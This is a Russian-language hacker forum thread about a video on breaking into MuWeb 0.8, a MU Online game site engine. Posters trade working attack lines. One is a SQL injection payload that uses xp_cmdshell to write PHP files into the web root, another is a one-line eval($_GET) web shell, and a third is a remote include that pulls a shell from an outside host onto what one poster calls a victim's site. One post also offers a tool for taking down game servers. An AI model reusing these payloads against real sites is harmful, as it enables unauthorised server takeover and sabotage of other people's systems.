[Видео] Взлом MuWeb 0.8

[Ponchik]

Кто хочет читать всё что я там писал готовьтесь жмакать на кнопку pause :)

http://www.sharemania.ru/0226098

Видео от части навеяно вопросами в ПМ как я залил шелл в своём прошлом видео, вот вам ответ, показал не все дыры, но вам хватит :)
P.S.Видео не выкладывают в video.antichat.ru по ходу это уже никаму ненужная бага, тему в принцепе можно сносить

[Dimi4]

Молодец пончик. Так держать. Может и в моа возьмут :)

[Ronny]

Кто хочет читать всё что я там писал готовьтесь жмакать на кнопку pause :)

http://www.sharemania.ru/0226098

Видео от части навеяно вопросами в ПМ как я залил шелл в своём прошлом видео, вот вам ответ, показал не все дыры, но вам хватит :)
P.S.Видео не выкладывают в video.antichat.ru по ходу это уже никаму ненужная бага, тему в принцепе можно сносить

Ета команда показавает всю инфу о ПХП :
'; USE Master exec xp_cmdshell 'echo "<?php phpinfo(); ?>" > C:\AppServ\www\shell.php';--

А что надо прописать, чтобы отсюда -> http://globnet.oo.lv/shell.php загрузить шелл на сайт жертвы ???

[Ponchik]

Я всегда нелюбил людей которые тупо повторяют то что видят, нужно свои мозги иметь! Хотя чё я ждал снимая это видео, конечно привалят имено такие...
В общем заливай <? stripslashes(eval($_GET[c])); ?> но stripslashes() не всегда надо, не везде экранирование, но на 90% серваках, а дальше тебе палюбому надо знать PHP, скачай книгу "самоучитель по PHP" и пачитай, там дальше поймёш

[NooB1k]

Круто. 10\10. Можно вопрос я За шол на какойто му в админку сам узнал как заходить не повторял как у тебя.Когда я хочу что там сменит меня снова выкидывает в админку в начало и не меняется,что делать? обращаюсь к тебе т.к ты понимаешь в этом деле.

[Sn@k3]

ну впринцыпе ничего фантастического, но вопрос, как ты нашел багу, где в админку не пускает тупо только алертом =)))) за это молодец.

[Ronny]

Я всегда нелюбил людей которые тупо повторяют то что видят, нужно свои мозги иметь! Хотя чё я ждал снимая это видео, конечно привалят имено такие...
В общем заливай <? stripslashes(eval($_GET[c])); ?> но stripslashes() не всегда надо, не везде экранирование, но на 90% серваках, а дальше тебе палюбому надо знать PHP, скачай книгу "самоучитель по PHP" и пачитай, там дальше поймёш

Ну вот...как ето понять
<? stripslashes(eval($_GET[c])); ?>

Тут понятнее
'; USE Master exec xp_cmdshell 'echo "<?php phpinfo(); ?>" > C:AppServ/www/shell.php;--

C:AppServ/www/shell.php понятно куда заливаешь, и в какой фаил :)

"<? stripslashes(eval($_GET[c])); ?>" > C:AppServ/www/shell.php;--
может быть так :confused: и куда свой сайт вписовать (откуда шелл закачивать надо) ?

[NooB1k]

Ronny,тебе сказали уже куда и как,я всё понял с 1 раза.Хоть я это не знал!

[Ronny]

Ну может обясниш...мне тупому человеку ???

[NooB1k]

<? stripslashes(eval($_GET[c])); ?> stripslashes()

[NooB1k]

Рони кстати у меня есть прога он сервер muonline сносит в миг!могу скинуть дай асю

[Ronny]

:d ето я понял...а мне же нужно шелл с сайта загрузить...
- Скажи куда сылку вписовать, раз ты такой Умный :d
ICQ - 387777909

[SanyaX]

<?php include ("www.site.com/shell.php"); ?>
А всё таки лучше не много подчитай, чтобы понятнее было.

[Ronny]

'; USE Master exec xp_cmdshell 'echo "<?php include ("www.site.com/shell.php"); ?>" > C:AppServwwwshell.php;--
Ето должно получиться ?

или просто вписовать ?
<?php include ("www.site.com/shell.php"); ?>

[NooB1k]

Ronny похоже

[Ronny]

<? stripslashes(eval($_GET[c])); ?> stripslashes(http://globnet.oo.lv/shell/shell.txt)

ТАК ????